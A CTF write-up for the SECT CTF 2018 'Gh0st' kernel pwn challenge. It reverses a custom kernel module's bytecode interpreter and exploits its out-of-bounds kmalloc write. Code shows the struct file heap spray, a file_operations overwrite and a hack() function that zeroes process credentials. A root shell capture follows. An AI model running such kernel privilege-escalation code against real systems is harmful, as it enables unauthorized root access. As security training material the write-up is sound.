«

Sep
14

SECT CTF 2018 :: Gh0st

Original Description:

Gh0st – Pwn (468)

Yikes, one of our finest cyberwarrior plugged into the wrong system. His mind is stuck in the kernel. Bring a plunger and your finest kernel exploit
Service: nc 142.93.38.98 6666 | nc pwn.sect.ctf.rocks 6666
Download: gh0st.tar.gz
Author: likvidera

Summary: linux kernel exploitation using an out-of-bounds kernel memory write.

Analysis

So here we have a kernel image with initrd image which contains gh0st.ko kernel module. After a short reversing we see this module creates ‘/dev/gh0st’ file and handles file operations on it.

Most interesting here are dev_ioctl function which handles ioctl to that device. It introduces two commands:

  • #define WRITE_BF 0x1337B4B3
  • #define EXECUTE_BF 0xAC1DC0DE

First one used to write a program in to a static buffer variable called ‘bytecode’ that keeps it for a second syscall. At the same time it verifies that the program consists only of allowed operations:

do {
    v8 = bytecode.code[index];
    if ( !v8 )
        break;
    v9 = v8 - 0x2B;
    if ( v9 > 50u ) {
        is_valid = 0;
    } else if ( !((0x50000000A000FuLL >> v9) & 1) ) {
        is_valid = 0;
    }
    ++index;
} while ( index != 1048 );
error_msg = "\x016Invalid bf";
if ( !is_valid )
    goto fail;

which allows following symbols in the program: #define alpha "+,-.<>[]"

Here is the meaning of them:

'+' , '>' inc stack ptr
'-', '<' dec stack ptr
',' get gap_in[gap_pos_in++] and put it to stack
'.' get symbol from stack, put it to gap_out[gap_pos_out++]

and it is important to look at the structure of program context:

struct bf_format {
    char header[4];
    int stack_size;
    char gap_in[256];
    char gap_out[256];
    char code[1048];
};

The stack pointer is allocated with kmalloc(size, GFP_KERNEL) and freed when program is executed. We can change pointer with + and – and write out of bounds of allocated buffer.

Allocator

Now its a good time to see what allocator is used by this kernel. Just using gdb and gdb.cmd from the original task archive we can load symbols. If we break at kmalloc and trace a bit we will see the kernel uses SLOB allocator. This allocator contains three different lists – small list chunks (less than 256 bytes), medium (less than 1024) and large (less than 4096). Any allocation of bigger size will be allocated with page allocator. To do something useful with our primitive we should place some interesting objects near our buffer and overwrite them. The easiest way is to try to overwrite ‘struct file’ since it has ‘file_operations’ pointer to functions that handle file operations.

After hours of experiments ;) following code was stable:

for( j =0; j < 200; ++j)
    open("./exploit", O_RDONLY);
corrupt();

Here function ‘corrupt’ overwrites next object after one allocated as our stack. The size of stack chosen is 32 bytes.

Now, we know that the kernel has KASLR and SMEP/SMAP disabled. So we may overwrite fileoperations with our own user-mode array with a pointer to function to change creds:

unsigned long mign_buffer[1024/8] = {0};
mign_buffer[2] = &hack;
*(unsigned long*)(&bf->gap_in) = (unsigned long)&mign_buffer;
inc_stack_ptr();
inc_stack_ptr();
inc_stack_ptr();
inc_stack_ptr();
inc_stack_ptr();
inc_stack_ptr();
inc_stack_ptr();
inc_stack_ptr();
inc_stack_ptr();
inc_stack_ptr();
write_stack_ptr();

mign_buffer[2] is offset of read operation inside file_operations structure. inc_stack_ptr is 8× ‘+’ and write_stack_ptr is 8× ‘,+’

The hack function supposed to set uid = 0 in current_task->cred and fix file-opreations back to romfs_fileoperations, We get this address from symbols.

void hack(char *file) {
    char * current_task = (char*)*(unsigned long *)0xffffffff81839040;
    char * cred = (char*)*(unsigned long*)(current_task + 0x3c0); // offset of cred
    for (unsigned int k = 4; k &lt; 0x24; ++k)
        cred[k] = 0; // zero all *id in creds
    //print("hack happend!\n");
    *(unsigned long *)(file + 0x28) = 0xffffffff81616e40; // fix fops
    // 0xffffffff81616e40
    j = 10000;
    return;
}

Since we used read call in cycle, we should probably stop it by setting j = 10000;

call execve after all and we are done.

[+] sending bytes: 3048
[+] 3048 of 3048 transferred
[*] Switching to interactive mode
./exploit
1337
we r00t
/bin/sh: can't access tty; job control turned off
/home/ctf # id
id
uid=0(root) gid=0(root) groups=1337(ctf)
/home/ctf # cat flag
cat flag
SECT{k3rn3l_ex0rc1sm}
 
/home/ctf #

Exploit is written without libc-stuff to make it smaller and make uploading easier.

All the sources are here: expl

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>